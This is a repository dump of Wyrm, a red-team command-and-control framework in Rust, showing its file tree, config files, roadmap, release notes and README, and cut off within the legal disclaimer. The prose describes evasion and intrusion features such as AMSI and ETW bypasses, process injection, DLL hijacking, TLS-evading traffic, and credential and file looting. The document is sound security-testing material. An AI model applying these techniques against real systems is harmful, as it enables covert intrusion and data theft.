Repository: 0xflux/Wyrm Branch: master Commit: a6bb5093ed3c Files: 171 Total size: 693.8 KB Directory structure: gitextract_j_8agxu3/ ├── .dockerignore ├── .gitignore ├── .vscode/ │ └── settings.json ├── CONTRIBUITIONS.md ├── Cargo.toml ├── LICENCE ├── Milestones.md ├── RELEASE_NOTES.md ├── Readme.md ├── c2/ │ ├── Cargo.toml │ ├── Dockerfile │ ├── Readme.md │ ├── migrations/ │ │ ├── 20250614124105_agent_table.sql │ │ ├── 20250614124140_add_sleep.sql │ │ ├── 20250614132037_tasks.sql │ │ ├── 20250615070633_flesh_table.sql │ │ ├── 20250615072852_add_col_back_tasks.sql │ │ ├── 20250615085223_add_uid.sql │ │ ├── 20250615085245_add_uid.sql │ │ ├── 20250615211204_rm_col_from_tasks.sql │ │ ├── 20250616171233_ch_col.sql │ │ ├── 20250619055731_results_table.sql │ │ ├── 20250621175632_add_time.sql │ │ ├── 20250621180355_add_time.sql │ │ ├── 20250622075242_agent_staging.sql │ │ ├── 20250622080004_protect_staging.sql │ │ ├── 20250622080748_remove_constraint.sql │ │ ├── 20250622083052_add_col_staging.sql │ │ ├── 20250622094131_add_col_staging_again.sql │ │ ├── 20250622094232_del_col_agent.sql │ │ ├── 20250622122051_protect_pe_name.sql │ │ ├── 20250622130349_port_to_agent_staging.sql │ │ ├── 20250622154423_operator_table.sql │ │ ├── 20250622161952_db_add_cstr.sql │ │ ├── 20250624164511_col_for_toks.sql │ │ ├── 20250627184526_default_env.sql │ │ ├── 20250712164452_update_field_for_sleep.sql │ │ ├── 20250712164815_update_field_for_prt.sql │ │ ├── 20250712165040_update_field_for_prt_again.sql │ │ ├── 20250719090503_rm_constraint_upload.sql │ │ ├── 20250727101559_xor_payload.sql │ │ ├── 20251025085314_update_time_completed_field.sql │ │ ├── 20251026120715_change_dt_field.sql │ │ ├── 20251026121136_change_dt_field_2.sql │ │ ├── 20251026122000_time_comp_rm.sql │ │ ├── 20251026144632_add_agent_id_to_ct.sql │ │ ├── 20251119185937_add_pulled_col.sql │ │ ├── 20251127184944_download_col.sql │ │ ├── 20251127193415_make_bigint.sql │ │ ├── 20251207091938_beacon_console_line.sql │ │ ├── 20251207092341_testagent.sql │ │ ├── 20251215120000_completed_tasks_pending_idx.sql │ │ └── 20251215123000_tasks_fetched_default.sql │ └── src/ │ ├── admin_task_dispatch/ │ │ ├── dispatch_table.rs │ │ ├── execute.rs │ │ ├── implant_builder.rs │ │ └── mod.rs │ ├── agents.rs │ ├── api/ │ │ ├── admin_routes.rs │ │ ├── agent_get.rs │ │ ├── agent_post.rs │ │ └── mod.rs │ ├── app_state.rs │ ├── db.rs │ ├── exfil.rs │ ├── logging.rs │ ├── main.rs │ ├── middleware.rs │ ├── net.rs │ ├── pe_utils/ │ │ ├── mod.rs │ │ └── types.rs │ └── profiles.rs ├── client/ │ ├── Caddyfile │ ├── Cargo.toml │ ├── Dockerfile │ ├── index.html │ ├── src/ │ │ ├── controller/ │ │ │ ├── build_profiles.rs │ │ │ ├── dashboard.rs │ │ │ └── mod.rs │ │ ├── main.rs │ │ ├── models/ │ │ │ ├── dashboard.rs │ │ │ └── mod.rs │ │ ├── net.rs │ │ ├── pages/ │ │ │ ├── build_profiles.rs │ │ │ ├── dashboard.rs │ │ │ ├── file_upload.rs │ │ │ ├── logged_in_headers.rs │ │ │ ├── login.rs │ │ │ ├── logout.rs │ │ │ ├── mod.rs │ │ │ └── staged_resources.rs │ │ └── tasks/ │ │ ├── mod.rs │ │ ├── task_dispatch.rs │ │ ├── task_impl.rs │ │ └── utils.rs │ └── static/ │ ├── main_styles.css │ └── styles.css ├── docker-compose.yml ├── implant/ │ ├── .cargo/ │ │ └── config.toml │ ├── Cargo.toml │ ├── Readme.md │ ├── build.rs │ ├── rust-toolchain.toml │ ├── set_dbg_env.ps1 │ └── src/ │ ├── anti_sandbox/ │ │ ├── memory.rs │ │ ├── mod.rs │ │ └── trig.rs │ ├── comms.rs │ ├── entry.rs │ ├── evasion/ │ │ ├── amsi.rs │ │ ├── etw.rs │ │ ├── mod.rs │ │ └── veh.rs │ ├── execute/ │ │ ├── dotnet.rs │ │ ├── ffi.rs │ │ └── mod.rs │ ├── lib.rs │ ├── main.rs │ ├── main_svc.rs │ ├── native/ │ │ ├── Readme.md │ │ ├── accounts.rs │ │ ├── filesystem.rs │ │ ├── mod.rs │ │ ├── processes.rs │ │ ├── registry.rs │ │ └── shell.rs │ ├── spawn_inject/ │ │ ├── early_cascade.rs │ │ ├── injection.rs │ │ └── mod.rs │ ├── stubs/ │ │ ├── mod.rs │ │ ├── rdi.rs │ │ └── shim.rs │ ├── utils/ │ │ ├── allocate.rs │ │ ├── comptime.rs │ │ ├── console.rs │ │ ├── export_comptime.rs │ │ ├── mod.rs │ │ ├── pe_stomp.rs │ │ ├── proxy.rs │ │ ├── strings.rs │ │ ├── svc_controls.rs │ │ └── time_utils.rs │ ├── wofs/ │ │ └── mod.rs │ └── wyrm.rs ├── loader/ │ ├── .cargo/ │ │ └── config.toml │ ├── Cargo.toml │ ├── build.rs │ └── src/ │ ├── export_comptime.rs │ ├── injector.rs │ ├── lib.rs │ ├── main.rs │ ├── main_svc.rs │ └── utils.rs ├── nginx/ │ └── nginx.conf ├── resources/ │ ├── .$wyrm_staging.drawio.bkp │ └── wyrm.excalidraw ├── shared/ │ ├── Cargo.toml │ ├── readme.md │ └── src/ │ ├── lib.rs │ ├── net.rs │ ├── stomped_structs.rs │ ├── task_types.rs │ └── tasks.rs ├── shared_c2_client/ │ ├── Cargo.toml │ ├── readme.md │ └── src/ │ └── lib.rs ├── shared_no_std/ │ ├── Cargo.toml │ └── src/ │ ├── export_resolver.rs │ ├── lib.rs │ └── memory.rs └── wofs_static/ └── Readme.md ================================================ FILE CONTENTS ================================================ ================================================ FILE: .dockerignore ================================================ .git .gitignore **/target **/*.pdb **/*.exe **/*.dll ================================================ FILE: .gitignore ================================================ c2/target target implant/target client/target client_v2/target shared/target shared_c2_client/target /c2/staged_files/* /c2/logs/* /c2/loot/* *Cargo.lock *.exe *.dll *.svc /client-leptos/dist /client/dist *.pem c2_transfer/* wofs_static/* # But do track readme changes !wofs_static/Readme.md # Ignore user defined profiles, dont want to overwrite those c2/profiles/*.toml # Track the example profile - !c2/profiles/profile.example.toml # Now the env file is setup, we want to ignore it for future commits to prevent overwriting. .env client-leptos/dist/index.html client/dist/index.html ================================================ FILE: .vscode/settings.json ================================================ { "cSpell.words": [ "AMSI", "antisandbox", "appdomain", "askama", "Autoloot", "AVEH", "BASERELOC", "bootstrapper", "BSTR", "canonicalise", "canonicalised", "checkin", "chrono", "clippy", "comptime", "conout", "creds", "crypter", "curproc", "dazy", "dbgprint", "deconflictions", "Deque", "derefs", "descript", "deser", "deserialise", "devlogs", "disasm", "DLLLOADED", "dont", "doppleganging", "dotenv", "dotenvy", "dotex", "doxtex", "entryp", "ENTRYW", "exfil", "FARPROC", "filesytem", "fingerprintable", "Flink", "funcs", "Ghostscale", "gitbook", "gloo", "HINSTANCE", "HKCR", "HKCU", "HKLM", "hmod", "HORIZ", "hres", "htmx", "icall", "Idek", "impr", "initialiser", "itemised", "kdbx", "keygen", "KHTML", "klist", "laxy", "ldapsearch", "Ldrp", "Leptos", "lfanew", "locationchange", "lpaddress", "lpsz", "LPTHREAD", "lstrlen", "luid", "macroise", "minreq", "MODULEINFO", "msvc", "MSVCRT", "nanos", "NGBP", "NGPB", "NOACCESS", "nonoverlapping", "nostd", "notif", "ntdll", "OPSEC", "ords", "Overwatch", "parray", "pathing", "PCSTR", "PCWSTR", "PFNSE", "pider", "PLAINTXT", "popstate", "postex", "ppid", "PROCESSENTRY", "psexec", "ptrs", "PWSTR", "rdata", "RDLL", "READWRITE", "recognised", "regq", "reloc", "repr", "reqwest", "retval", "RIID", "rngs", "RNTIME", "roff", "rotr", "Rubeus", "rundll", "runpoline", "rustc", "rustls", "rustup", "rwlock", "SAFEARRAY", "SAFEARRAYBOUND", "Seedable", "Serialise", "serialised", "serialising", "servertime", "Shellcode", "sideloaded", "sideloading", "Smkukx", "smth", "Smukx", "SNAPALL", "sqlx", "STARTUPINFO", "STARTUPINFOA", "STARTUPINFOEXA", "STARTUPINFOW", "strs", "subdirs", "svchost", "tchars", "termiantor", "thiserror", "thje", "timestomp", "timestomping", "Toolhelp", "TOPT", "trustedsec's", "turbofish", "Unaccess", "Uninit", "UNLEN", "ureq", "useragent", "Voidheart", "vtable", "Vtbl", "Whelpfire", "WINHTTP", "wofs", "WRITECOPY", "wyrm", "xored", "xwin", "yara" ], "[rust]": { "editor.defaultFormatter": "rust-lang.rust-analyzer", "editor.formatOnSave": true, }, "cSpell.language": "en,en-GB", "rust-analyzer.procMacro.ignored": { "leptos_macro": [ // optional: // "component", "server" ], }, "rust-analyzer.cargo.features": "all", // Enable all features "rust-analyzer.cargo.buildScripts.enable": true, } ================================================ FILE: CONTRIBUITIONS.md ================================================ # Contributions Contributions as PR's are not currently accepted. Please use the issues tab or discussions as required. The `.env` file should be removed from future commits - run `git update-index --skip-worktree .env` locally to ensure it is not tracked. ## Branch naming conventions - `vx.y`: The main development branch for an upcoming release. - `feat/*`: Implementing a new feature. - `bug/*`: Fixing a bug, tracked against an issue number where relevant. - `impr/*`: Improving something that already exists. ================================================ FILE: Cargo.toml ================================================ [workspace] resolver = "2" members = ["c2", "client", "implant", "loader", "shared", "shared_c2_client", "shared_no_std"] ================================================ FILE: LICENCE ================================================ MIT License Copyright (c) 2025 flux Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: Milestones.md ================================================ # Project Milestones Any item with a (L) tag is a contribution which will not be live (or requires further decision making) as this is intended to be developed as a premium or otherwise private feature. These will be few and far between. ## (L) Features (locked currently for public consumption) 1) [ ] NG Proxy Bypass (NGPB). 2) [ ] Additional loaders / start from RDLL - configurable, maybe things like early bird, syscalls, etc. 3) [ ] Image hashes in autoloot. 4) [ ] Runtime obfuscation, sleep masking - should spawn from the RDI bootstrap? Shellcode? Where and how? The RDI alloc for the actual DLL can just be encrypted? 5) [ ] **Entire** website clone, and serve download from named page. 6) [ ] Ransomware **SIMULATION** for Business 7) [ ] Execute dotnet in sacrificial process ### v0.7.3 1) [ ] `can_hijack` 1) [ ] Specify a path to the image, and Wyrm tells you if you can SOH - this would be great for process injection without risking process injection triggers that an EDR could pick up 2) [ ] Docs 2) [ ] The loader should inherit option for ETW bypass 3) [ ] `inject` malleable options (malleable options for it to inject on spawn from the default loader) 4) [ ] `spawn` should take a param (last position) if not in profile to spawn as 5) [ ] `spawn` should give the operator the pid of the spawned process 6) [ ] Go back and refactor `wyrm.rs` to use `task.deserialise_metadata::()` generics 7) [ ] Investigate inject behaviour in calc (some instability found on use) 8) [ ] C2 should have delete option for staged payloads ### v1.0 - Whelpfire 1) [ ] `jump psexec` 2) [ ] Final OPSEC review on binary indicators to make sure nothing is introduced in this version. 3) [ ] Max upload size set on C2 from profile 4) [ ] Logrotate setup &/ cargo clean? 5) [ ] Link additional modules at comptime into the C2 or agent (via profiles), e.g. to enable NGPB or other custom toolkits. 6) [ ] Separate URIs for POST and GET 7) [ ] Multiple URLs / IPs for C2 8) [ ] Round robin and different styles for URI & URL rotation 9) [ ] Can I tidy wyrm.rs, maybe dynamic dispatch and traits for main dispatch fn? 10) [ ] Loaders should stomp the MZ and "this program.." 11) [ ] Support domain fronting through HTTP headers in malleable profile (check in comms code `.with_header("Host", host)`) 12) [ ] Staging the encrypted payload as opposed to a stageless only build 13) [ ] When sideloaded no console output coming through 14) [ ] EDR shim removal? https://malwaretech.com/2024/02/bypassing-edrs-with-edr-preload.html 15) [ ] Can I make it x86? 16) [ ] Consider a javascript scripting kit (look at nuclei) (suggestion by @sindhwadrikunj) 17) [ ] Other spawn / inject options 18) [ ] WOF API's 1) [ ] C2 download file 2) [ ] C2 print info / print fail 19) [ ] Stack spoofing for unbacked memory 20) [ ] AMSI option in profile for classic bypass or VEH^2 ### v1.1 These are to be split out further as required for more manageable releases. 1) [ ] Long running tasks which have a specified integrity level, so any task set under this scheme can execute at a given integrity level for that machine 2) [ ] Killing the agent should support from thread as well as from process (in the case of an injected process). 3) [ ] Agent & C2 supports multiple endpoints (selectable in build process from cli) / c2 profiles 1) This needs to be implemented in the wizard also 4) [ ] `zip` command to natively zip a folder 5) [ ] Improve pillage function 6) [ ] Concurrent removable media scanner - runs when main thread is sleeping between calls and looks for a removable disk being added. Auto-pillage. 1) [ ] The auto pillage file extensions should be specified in the profile toml 7) [ ] Auto Escalator (this could be done a separate project that can be used by others, but also compiles into this): 1) [ ] User -> SYSTEM (service paths etc) 2) [ ] Local user -> Local Admin 3) [ ] Local Admin -> SYSTEM 8) [ ] Improved anti-sandbox checks 9) [ ] Additional lateral movement options 10) [ ] C2 junk padding response size (needs to play nice with NGPB) 11) [ ] Export agent db info for reporting 12) [ ] Read users clipboard continuously and upload to C2 13) [ ] Multiple C2 implementations on the agent. This could be a task which orders the creation on the implant itself. 14) [ ] Capture screenshots 15) [ ] Autoloot: 1) [ ] SSH keys 2) [ ] Filenames of office docs, .pdf, .jpg, .mov, .kdbx 16) [ ] Builds agent that can use APIs via hells/halos gate, etc. 1) [ ] Look at FreshyCalls as an alternate 17) [ ] Pool Party 18) [ ] C2 rotation strategy from profile 19) [ ] `cat` 20) [ ] `tasks` and `task_kill` 21) [ ] SOCKS proxy 22) [ ] Shellcode loader 23) [ ] C2 configurable so it is hosted on TOR, with C2 fronted redirectors into the TOR network 24) [ ] `drives` search for additional drive volumes 25) [ ] Scope / date / time checks 26) [ ] Add a note to an implant 27) [ ] Some UAC bypasses? 28) [ ] Specify specific proxy for agent to use ### Voidheart - v2.0 These are to be split out further as required for more manageable releases. 1) [ ] Run tools in memory and send output back to operator 2) [ ] C2 over DNS / DOH 3) [ ] SMB agents 4) [ ] Allow multiplayer 5) [ ] Time-stomping for builds & also agent can stomp files on target 6) [ ] Any inspiration from [trustedsec's BOFs](https://github.com/trustedsec/CS-Situational-Awareness-BOF) around some sitrep stuff this can do? 1) [ ] `ldapsearch` 7) [ ] 'Overwatch' system on the C2 8) [ ] TOPT 9) [ ] Add ability to protect staged downloads with a header `key=value`, to try prevent mass downloading of an agent in cases where the operator wants it behind a check 10) [ ] Post Quantum Encryption for below TLS implant comms 11) [ ] Create multiple users 1) [ ] Make implant multiplayer - this may need a bit of rearchitecting ### Ashen Crown - v3.0 1) [ ] Wyrm Rootkit release 2) [ ] Wyrm rootkit loader ### Ghostscale - v4.0 Nothing planned yet. ================================================ FILE: RELEASE_NOTES.md ================================================ # Release Notes Anything found labelled with a '🚧' indicates a possible breaking change to a profile which you will need to adjust from the `default.example.profile` found in `/c2/profiles/`. This is done especially as to not overwrite your custom profiles when pulling updates. **IN ANY CASE ALWAYS BACKUP YOUR PROFILES BEFORE UPDATING!!!!** ## v0.7.2 - Makes stable the `spawn` command (x64 only) which now uses Early Cascade Injection to launch a new agent. There are question marks over the effectiveness of this against EDR's thanks to the work of [Smukx](https://x.com/5mukx/). Leaving in as the default now; further options to be explored before v1.0 is released. - `Wyrm Object Files` are introduced which are small, self-contained code modules that are baked into the implant at compile time. This allows you to extend the functionality of Wyrm and bring in your custom tooling without having to understand the entire source code of Wyrm to implement additional custom functionality. You can simply invoke the wof at runtime via `wof (optional input)`. See docs for full explanation. - Process injection introduced via the `inject ` command. - Improves AMSI bypass technique by using [VEH Squared](https://fluxsec.red/vectored-exception-handling-squared-rust) instead of patching the function entry for AmsiScanBuffer. - Reflective DLL stub now inherits the ETW patching option if specified in the profile. - Significantly improves stability of C2 where resource exhaustion was happening because I used `scc` when trying to optimise some time ago, switched to normal `HashMap` and `RwLocks` and it runs a dream. Incidently, this led to the server locking out. Further improved stability by reducing lock contention over awaits. - Internal refactoring, nothing to write home about, but still nice improvements from a code perspective. - Debug builds should print output to the debug console (accessible via DebugView) - thanks to [@c5pider](https://x.com/C5pider) and [@RastaMouse](https://x.com/_RastaMouse) for that idea :) ## v0.7.1 - Bug fix for the reflective DLL - it was not fully reflective in v0.7, I left some of the logic in the injector which has been migrated to the rDLL bootstrap mechanism. The rDLL should now be reflective from external tooling (so long as you start execution at the `Load` export). - Introduces an **early preview** of the `spawn` command - you can spawn a new Wyrm agent impersonating `svchost`. To use this you must have either the loader or the raw payload (DLL version) on disk (on the target) and you can run it via: `spawn "path/to/dll"`. Bundling this in as there was the above critical update to the rDLL. It is **NOT** recommended you use this as I am still building it, if you want to, feel free - but it may break or trigger AV right now. ## v0.7 - Wyrm now builds as a reflective DLL, supplying you with a loader DLL, exe and svc in place of the previous raw binary. Meaning in your build, for each profile you now get - Raw binaries for when you wish to use them with your own loaders / toolsets (exe, svc and dll) where the DLL version is set up for **reflective** loading via the `Load` export. See the [docs](https://docs.wyrm-c2.com/implant/rdll.html) for more info on how to use the reflective loader export. - A loader using the reflective injector of the DLL, giving you an exe, svc and dll - all which load the rDLL into the **current** process. Support for process injection coming later. This is XOR 'encrypted' in the .text section of the loader. - `pull` command now does so buffered in memory, preventing resource exhaustion from the implant. - Native support for running `whoami` without needing to touch powershell. Run `whoami` to get info on the domain, user, SID and what privileges are assigned. - Implant is now **proxy aware**! This means it will attempt to use a corporate proxy if set up for making connections. If none exists, then none will be used! This is done per request to ensure the correct proxy settings are applied to the correct C2 address if using multiple. - Binary size of the postex payload almost HALVED! Down to about 800 kb! - Fix logging on C2 to log correct IP with NGINX X-Forwarded-For header. - Moved implant to reqwest crate for networking from minreq, no real impact on agent size and provides more functionality. - Fix bug where implant tried to register a mutex when not specified. - Fix bug in file upload via GUI to the C2 in that it happens much faster. - Improve how the C2 handles panics and unwraps using `catch_panic`, the C2 should no longer become unresponsive during panics. Using panics and unwraps was by design, so this should add stability. - Improved stability with the automatic DLL proxying for search order hijacking. ### Known Issues - When the DLL is loaded via sideloading, no debug prints or console prints from dotnet tooling are captured. ## v0.6 - AMSI patching available in the implant via the malleable profile (only runs in the agent when necessary). - You can now execute dotnet programs remotely in the agent, all in memory - does not write anything to disk! Simply run `dotex` and pass your args after, e.g. `dotex Rubeus.exe klist` (see below point as to how to get the binary sent to the agent)! - This update introduces the `c2_transfer` dir in the root which is used for staging files to be internally used by the C2 during operations such as `dotex` where the payload is sent as bytes to the agent through C2. This folder is a bind mount meaning you can drop files in ad-hoc whilst the server is running and it should be able to read them. If you drop tools in here in a folder, make sure you include that in the path to the tool. - Agent prints get sent to the server - meaning if you build in debug mode you can see the debug output in the terminal on the c2. This is mainly due to now removing the console window from the application. - The CRT (C Runtime) is now statically linked into the binary so it can run on machines without the MSVCRT DLLs. - Some nice UI changes - Bug fix with parsing config on C2, some options were being left out under certain conditions. ## v 0.5.3 - Potential bug fix for the UI very occasionally not showing messages in the UI. Seems to be fixed.. but the bug happens so little it can be hard to diagnose. ## v 0.5.2 - DLL internals now allow for a better loading mechanism which ensures if run via rundll32, and from DLL Search Order Hijacking, without early termination. - Malleable profile now provides support for fully fledged DLL Search Order Hijacking attacks! See docs for more info. - Malleable profile now includes the ability to create a global mutex so you can ensure only one implant (profile) can run on the system, this could be useful for DLL sideloading / search order hijacking if the target is extremely noisy in terms of lots of subprocesses loading in the binary. You can of course have this applied to one profile, but not another, as it is fully optional. - Improves the output of the `ps` and `reg query` commands. - Added additional deserialisation option for output of `reg query` such that the `REG_BINARY` type gets decoded. ### Issues under investigation There is still a very rare, small case where the first few instructions get dispatched and sent to the client, but don't appear in the console. They are logged in the browser store temporarily, but I think the bug is still here.. under investigation - extremely rare which is making it difficult to determine if it is still an issue. ## v 0.5.1 - Improved GUI updates! The dashboard message panel now looks much better, with newlines appearing properly, and spacing kept from the raw output. Colours have also been improved making it much easier to distinguish between message sections! - Improved UI printing of the `ls` command. ## 🚧 v 0.5 ### 🚧 Breaking changes - Introduced the .svc binary which builds as part of your build package from the C2. There is a new required field in the profile, which is **svc_name**. Read more in the Wyrm Docs profile section as to how to use this field. In short, the value of this field (required) is passed to the Windows Service Control Manager when the service binary is run. ### Non-breaking changes - Introduced the **string scrubber**! - The string scrubber automatically scrubs 'implant.dll' from the export name of the Wyrm DLL. - The string scrubber allows through a malleable profile the ability to scrub certain strings from the binary. **Warning:** this interprets bytes like for like and either allows you to replace them, or zero them out. This could lead to accidental pattern collisions with machine code / other artifacts, so if you are using this feature, be sure to test the binary before deployment on a red team op! - Added download counter for staged resources (visible in new log file, and on the staged resources GUI page). - Fixed bug (again..) that was preventing messages showing in the GUI, even though they were processed by the client. Hopefully that is the end of that bug! ## v 0.4.4 - Introduces the profile options to build custom DLL export names, as well as define custom machine code to run at an export. This could be used for DLL Sideloading (better support for that coming later, but it should still work in some cases), OPSEC, or just causing a bit of mayhem for a blue teamer. ## 🚧 v 0.4.3 - Investigated whether error logging was happening (the C2 hasn't generated an error in a long time) - confirmed error handling works as expected. This is good. - Fixes bug which caused some results not to print to an agents console. - Fixes bugs with file drop via the implant; now correctly drops a file in the 'in memory' working directory of the beacon. ### 🚧 Breaking changes - Removed most of the environment variable requirements (see docs for instructions). - This update brings a change to profiles! You now have one profile, and only one, which exists in the `c2/profiles/*.toml` file. You now specify multiple implants by key to build, or alternatively you can build all implant profiles by typing 'all' on the profile builder. See the [docs](https://docs.wyrm-c2.com/) for how to set the profile up, example is provided. ## v 0.4.2 - Fixes bug which prevented user logging into C2 for the first time if no user is created. ## 🚧 v 0.4.1 ### 🚧 Breaking changes - The C2 now uses nginx as part of the docker stack to serve the C2 over TLS. This was an important design decision whilst re-working the server; we are moving away from the previous method of authentication (which re-authenticates each time and will be more CPU intensive than required). Now, we use HTTPS secure cookies to enable the login sessions. Because of this change, you now need to generate a certificate and its private key, and they need to be placed into `/nginx/certs/` named `cert.pem` and `key.pem` respectively. For localhost testing, see my guide on [creating trusted certificates](https://fluxsec.red/wyrm-c2-localhost-self-signed-certificate-windows) locally - failing to do this will result in no connectivity on **localhost**. For prod, create a cert as you see fit (`certbot` / purchased certificates / from a CA, etc..) and add them to the `nginx/certs` dir, updating the `/nginx/nginx.conf` as necessary. - As Wyrm now uses nginx via Docker, you need to configure the configuration file in `/nginx/nginx.conf`. This file is provided for you in git tracking. **Note:** when v0.4.1 is pushed, I will not be tracking changes to this file so that it doesn't accidentally break a build. - Edit `server_name` as appropriate for both HTTP and HTTPS. - Edit other settings as you see fit; note, the CORS stuff is mandatory as the GUI is separate from the server. - You now log into the C2 entering the address of: https://localhost into the login panel (at http://localhost:3000) ### Non-breaking changes - We now use a better, more efficient, and more secure authentication method of using actual auth HTTPS only tokens with a lifetime of **12 hrs** before you need to log in again to get a new token. - Fix bug which caused tasks on implant to be dispatched out of order. - Fixed bug causing console output to appear in the wrong order on the GUI. - C2 now has docs! https://docs.wyrm-c2.com/ ## 🚧 v 0.4 ### 🚧 Breaking changes - `.env` migrated from `/c2` to `/` - **THIS MAY AFFECT YOUR ADMIN TOKEN AND OTHER ENVIRONMENT SETTINGS, PLEASE BACK-UP BEFORE UPDATING**. - Docker build pipeline for client now moved to workspace root rather than from within the `/client` directory. To build the client, now run (from the workspace root): `docker compose up -d --build client`. - No more `install.sh`! You run the C2 via docker, simply with: `docker compose up -d --build c2` from the root directory. This means you can run both the client and c2 via docker. - Client: `docker compose up -d --build client`. - C2: `docker compose up -d --build c2`. - Loot, staged resources, and logs can be found in the docker volume /data. ### Non breaking changes - OPSEC improvement with removing static artifacts from the binary. - Introduces timestomping for the compile date on built implants - see `profile.example.toml` for full docs, but this optional profile option allows you to select a date in **British format** which is stamped into the binary as the compile date, aiding advanced OPSEC. - Introduces the ability to export the completed tasks of the agent to a json file (for ingesting into ELK etc) by running the `export_db` command on an agent. - Completed tasks now mapped to MITRE ATT&CK! - Introduces the registry manipulation features with `reg query`, `reg delete` and `reg add` commands. - Improve docker build process for the client through [cargo chef](https://lpalmieri.com/posts/fast-rust-docker-builds/). - Implant supports `rm` to remove a file, and `rm_d` to remove a directory (and all its children). - Adds user name who is running processes, as well as the ability to show processes running at a higher privilege (if running with high integrity). - Improved how the system records time an action was completed, now properly represents the time the agent actually did the work, vs what was in place which was when the result was posted to the server and processed by the database. - Improved HTTP packet ordering to be more concise and clear, using repr(C) to ensure consistent ordering under the new packet layout. ## v 0.3 This release introduces the new GUI, which is a web based UI used to interact with the Wyrm C2. - New web based GUI! - Docker is used to build and deploy the GUI, making it really straightforward. - Building payloads now downloads as a 7zip archive through the browser. - Install `sh` script updated to include 7z dependencies, if manually updating through a pull; make sure you have 7zip installed and available on PATH. ## v 0.2 - Wyrm C2 now uses profiles to build agents with fully customisable configurations. - IOCs are encrypted at compile time in the payload. - Events Tracing for Windows (ETW) patching support via customisable profile. - Profile options to determine log fidelity of the C2. - Jitter supported in profile, as a percentage of the maximum sleep value time in seconds. - Investigated apparent bug where results of running tasks appear out of order. The agent does not execute them out of order, this is a GUI display bug. Not fixing at this moment in time as I am building a new GUI for this in an upcoming pre-release version. ================================================ FILE: Readme.md ================================================ # Wyrm - v0.7.2 Hatchling Wyrm (pronounced 'worm', an old English word for 'serpent' or 'dragon') is a post exploitation, open source, Red Team security testing framework framework, written in Rust designed to be used by Red Teams, Purple Teams, Penetration Testers, and general infosec hobbyists. This project is fully built in Rust, with extra effort going into obfuscating artifacts which could be present in memory. Project created and maintained by [flux](https://github.com/0xflux/), for **legal authorised security testing only**. ![Wyrm C2](resources/splash_example.png) Read the docs at https://docs.wyrm-c2.com/ for quick setup instructions. Or jump in to read about [customisable profiles](https://docs.wyrm-c2.com/implant/profiles/), [evasion](https://docs.wyrm-c2.com/implant/profiles/evasion.html), and [obfuscation](https://docs.wyrm-c2.com/implant/profiles/obfuscation.html). The docs will be updated as the project grows and gains more capabilities. Pre-release version. If you want to support this project, please give it a star! I will be releasing updates and devlogs on my [blog](https://fluxsec.red/) and [YouTube](https://www.youtube.com/@FluxSec) to document progress, so please give me a follow there. **IMPORTANT**: Before pulling updates, check the [Release Notes](https://github.com/0xflux/Wyrm/blob/master/RELEASE_NOTES.md) for any breaking changes to profiles / configs which you may need to manually adjust or migrate. This is done especially so that updates do not overwrite your local configs and agent profiles. ## Post exploitation Red Team framework Wyrm currently supports only HTTPS agents using a custom encryption scheme for encrypting traffic below TLS, with a unique packet design so that the packets cannot be realistically decrypted even under firewall level TLS inspection. Updates are planned through versions 1,0, 2.0, 3.0, and 4.0. You can view the planned roadmap in this project (see [Milestones.md](https://github.com/0xflux/Wyrm/blob/master/Milestones.md)). In time, this is designed to be an open source competitor to **Cobalt Strike**, **Mythic**, **Sliver**, etc. For any bugs, or feature requests, please use the Issues tab, and for anything else - please use GitHub Discussions. I am active on this project, so I will be attentive to anything raised. ### Features - Implant uses a configurable profile to customise features and configurations - You can customise the Wyrm agent via WOFs (Wyrm Object Files) which are statically linked C code or other language (Rust, etc) object files - Fully reflective DLL model + a basic loader provided - Access to raw binaries as well as ones prepared with a loader if you wish to use your own tooling with Wyrm - Intuitive auto-DLL search order hijacking & sideloading features via profiles - IOCs encrypted in the payload to assist in anti-analysis and anti-yara hardening - Implant transmits data encrypted below TLS, defeating perimeter inspection security tools out the box - Dynamic payload generation - Easy mechanism to stage files (such as built implants, PDF, zip, etc) on the C2 for download to support phishing campaigns and initial attack vectors - Supports native Windows API commands, more planned in future updates - Easy to use terminal client for the operator to task & inspect agents, and to manage staged resources - Implant uses the most common User-Agent for comms to help it blend in covertly with traffic by default, this is also configurable to suit your engagement - Easy, automated C2 infrastructure deployment with docker - Execute dotnet binaries in memory - Anti-sandbox techniques which are highly configurable by the operator through profiles - Backed by a database, fully timestamped to make reporting easier - Proxy awareness (usable against clients who use proxies) This project is not currently accepting contributions, please **raise issues** or use **GitHub Discussions** and I will look into them, and help answer any questions. ### Loader The Wyrm C2 comes with a loader for the reflective DLL component of the toolkit. The loader has the Wyrm postex payload encrypted in its .text section; for more information please see the [docs](https://docs.wyrm-c2.com/implant/rdll.html). Visually the loader runs as follows: ![Wyrm reflective DLL loader](resources/inj.svg) ### Updates **WARNING:** Before pulling an update; please check the [release notes](https://github.com/0xflux/Wyrm/blob/master/RELEASE_NOTES.md) to see whether there are any breaking changes - for example if the **configurable C2 profile** changes in a breaking way from a previous profile you have, you will want to make sure you backup and migrate your profile. I will be excluding `/c2/profiles/*` and `.env` from git once the project is published in pre-release to prevent accidentally overwriting your previous profile when running `git pull` to update your software. As per the roadmap, this project will see significant development over the next 12 months. To pull updates, whether they are new features or bug fixes, you simply just do a **git pull**, re-build via docker: `docker compose up -d --build c2` and `docker compose up -d --build client`. # The legal bit ## Authorized Use Only **Permitted Users** The Software is intended **exclusively** for **authorised** penetration testers, Red Teams, Purple Teams, hobbyists, and security researchers who have obtained **explicit, written authorisation from the owner of each target system**. Any use of the Software on systems for which you do not hold such authorisation is **strictly prohibited** and may constitute a criminal offence under the UK Computer Misuse Act 1990 (including sections on Unauthorised access to computer material, Unauthorised access with intent to commit further offences, 